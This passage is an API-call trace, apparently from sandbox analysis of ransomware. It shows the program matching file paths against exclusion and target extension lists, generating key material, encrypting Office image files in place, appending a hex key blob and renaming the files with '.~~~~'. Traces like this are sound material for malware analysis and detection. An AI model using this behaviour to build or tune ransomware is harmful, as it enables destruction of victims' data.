	[0140.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".bat") returned 0x0
	[0140.646] lstrlenW (lpString=".cpl") returned 4
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".cpl") returned 0x0
	[0140.646] lstrlenW (lpString=".sys") returned 4
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".sys") returned 0x0
	[0140.646] lstrlenW (lpString=".msc") returned 4
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".msc") returned 0x0
	[0140.646] lstrlenW (lpString=".com") returned 4
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".com") returned 0x0
	[0140.646] lstrlenW (lpString=".lnk") returned 4
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".lnk") returned 0x0
	[0140.646] lstrlenW (lpString=".msp") returned 4
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".msp") returned 0x0
	[0140.646] lstrlenW (lpString=".pif") returned 4
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".pif") returned 0x0
	[0140.646] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.780] lstrlenW (lpString=".sqb") returned 4
	[0140.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".sqb") returned 0x0
	[0140.780] lstrlenW (lpString=".ost") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".ost") returned 0x0
	[0140.781] lstrlenW (lpString=".txt") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".txt") returned 0x0
	[0140.781] lstrlenW (lpString=".mdt") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".mdt") returned 0x0
	[0140.781] lstrlenW (lpString=".BDB") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".BDB") returned 0x0
	[0140.781] lstrlenW (lpString=".eql") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".eql") returned 0x0
	[0140.781] lstrlenW (lpString=".DBF") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DBF") returned 0x0
	[0140.781] lstrlenW (lpString=".EQL") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".EQL") returned 0x0
	[0140.781] lstrlenW (lpString=".FDB") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".FDB") returned 0x0
	[0140.781] lstrlenW (lpString=".EDB") returned 4
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".EDB") returned 0x0
	[0140.781] lstrlenW (lpString=".DACPAC") returned 7
	[0140.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.782] lstrlenW (lpString=".VHD") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".VHD") returned 0x0
	[0140.782] lstrlenW (lpString=".DBV") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DBV") returned 0x0
	[0140.782] lstrlenW (lpString=".dacpac") returned 7
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.782] lstrlenW (lpString=".sdf") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".sdf") returned 0x0
	[0140.782] lstrlenW (lpString=".accdb") returned 6
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".accdb") returned 0x0
	[0140.782] lstrlenW (lpString=".DBX") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DBX") returned 0x0
	[0140.782] lstrlenW (lpString=".MDT") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".MDT") returned 0x0
	[0140.782] lstrlenW (lpString=".SQB") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".SQB") returned 0x0
	[0140.782] lstrlenW (lpString=".vhd") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".vhd") returned 0x0
	[0140.782] lstrlenW (lpString=".bac") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".bac") returned 0x0
	[0140.782] lstrlenW (lpString=".mdf") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".mdf") returned 0x0
	[0140.782] lstrlenW (lpString=".BAK") returned 4
	[0140.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".BAK") returned 0x0
	[0140.782] lstrlenW (lpString=".BAC") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".BAC") returned 0x0
	[0140.783] lstrlenW (lpString=".dbs") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dbs") returned 0x0
	[0140.783] lstrlenW (lpString=".vhdx") returned 5
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.783] lstrlenW (lpString=".NDF") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".NDF") returned 0x0
	[0140.783] lstrlenW (lpString=".dat") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dat") returned 0x0
	[0140.783] lstrlenW (lpString=".DBS") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DBS") returned 0x0
	[0140.783] lstrlenW (lpString=".CKP") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".CKP") returned 0x0
	[0140.783] lstrlenW (lpString=".edb") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".edb") returned 0x0
	[0140.783] lstrlenW (lpString=".PST") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".PST") returned 0x0
	[0140.783] lstrlenW (lpString=".dbf") returned 4
	[0140.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dbf") returned 0x0
	[0140.783] lstrlenW (lpString=".SQL") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".SQL") returned 0x0
	[0140.784] lstrlenW (lpString=".pst") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".pst") returned 0x0
	[0140.784] lstrlenW (lpString=".dbv") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dbv") returned 0x0
	[0140.784] lstrlenW (lpString=".SDF") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".SDF") returned 0x0
	[0140.784] lstrlenW (lpString=".dtxs") returned 5
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.784] lstrlenW (lpString=".db3") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".db3") returned 0x0
	[0140.784] lstrlenW (lpString=".OST") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".OST") returned 0x0
	[0140.784] lstrlenW (lpString=".dbx") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dbx") returned 0x0
	[0140.784] lstrlenW (lpString=".DB3") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DB3") returned 0x0
	[0140.784] lstrlenW (lpString=".DAT") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DAT") returned 0x0
	[0140.784] lstrlenW (lpString=".VHDX") returned 5
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.784] lstrlenW (lpString=".ndf") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".ndf") returned 0x0
	[0140.784] lstrlenW (lpString=".DB") returned 3
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DB") returned 0x0
	[0140.784] lstrlenW (lpString=".sql") returned 4
	[0140.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".sql") returned 0x0
	[0140.785] lstrlenW (lpString=".MYD") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".MYD") returned 0x0
	[0140.785] lstrlenW (lpString=".DBT") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DBT") returned 0x0
	[0140.785] lstrlenW (lpString=".ACCDB") returned 6
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.785] lstrlenW (lpString=".fdb") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".fdb") returned 0x0
	[0140.785] lstrlenW (lpString=".bak") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".bak") returned 0x0
	[0140.785] lstrlenW (lpString=".myd") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".myd") returned 0x0
	[0140.785] lstrlenW (lpString=".DTXS") returned 5
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.785] lstrlenW (lpString=".ckp") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".ckp") returned 0x0
	[0140.785] lstrlenW (lpString=".dbt") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".dbt") returned 0x0
	[0140.785] lstrlenW (lpString=".db") returned 3
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".db") returned 0x0
	[0140.785] lstrlenW (lpString=".TXT") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".TXT") returned 0x0
	[0140.785] lstrlenW (lpString=".MDF") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".MDF") returned 0x0
	[0140.785] lstrlenW (lpString=".bdb") returned 4
	[0140.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".bdb") returned 0x0
	[0140.785] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.786] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.787] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.787] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.787] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26077755033) returned 1
	[0140.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd52b450, dwHighDateTime=0x1d60e1e)) 
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d068
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d068 | out: hHeap=0x300000) returned 1
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7ae0
	[0140.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0140.788] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.788] GetLastError () returned 0x0
	[0140.789] GetLastError () returned 0x0
	[0140.789] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.789] GetLastError () returned 0x0
	[0140.789] GetLastError () returned 0x0
	[0140.789] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x59bc, lpOverlapped=0x0) returned 1
	[0140.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffa644, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.791] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x59bc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x59bc, lpOverlapped=0x0) returned 1
	[0140.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.792] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.792] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.792] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.792] CloseHandle (hObject=0x114) returned 1
	[0140.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ae0
	[0140.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif.~~~~")) returned 1
	[0140.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0140.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.795] GetLastError () returned 0x0
	[0140.795] RtlWakeConditionVariable () returned 0x0
	[0140.795] GetCurrentThreadId () returned 0x9cc
	[0140.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".scr") returned 0x0
	[0140.795] lstrlenW (lpString=".cmd") returned 4
	[0140.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".cmd") returned 0x0
	[0140.796] lstrlenW (lpString=".dll") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".dll") returned 0x0
	[0140.796] lstrlenW (lpString=".bat") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".bat") returned 0x0
	[0140.796] lstrlenW (lpString=".cpl") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".cpl") returned 0x0
	[0140.796] lstrlenW (lpString=".sys") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".sys") returned 0x0
	[0140.796] lstrlenW (lpString=".msc") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".msc") returned 0x0
	[0140.796] lstrlenW (lpString=".com") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".com") returned 0x0
	[0140.796] lstrlenW (lpString=".lnk") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".lnk") returned 0x0
	[0140.796] lstrlenW (lpString=".msp") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".msp") returned 0x0
	[0140.796] lstrlenW (lpString=".pif") returned 4
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".pif") returned 0x0
	[0140.796] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.799] lstrlenW (lpString=".sqb") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".sqb") returned 0x0
	[0140.799] lstrlenW (lpString=".ost") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".ost") returned 0x0
	[0140.799] lstrlenW (lpString=".txt") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".txt") returned 0x0
	[0140.799] lstrlenW (lpString=".mdt") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".mdt") returned 0x0
	[0140.799] lstrlenW (lpString=".BDB") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".BDB") returned 0x0
	[0140.799] lstrlenW (lpString=".eql") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".eql") returned 0x0
	[0140.799] lstrlenW (lpString=".DBF") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".DBF") returned 0x0
	[0140.799] lstrlenW (lpString=".EQL") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".EQL") returned 0x0
	[0140.799] lstrlenW (lpString=".FDB") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".FDB") returned 0x0
	[0140.799] lstrlenW (lpString=".EDB") returned 4
	[0140.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", lpSrch=".EDB") returned 0x0
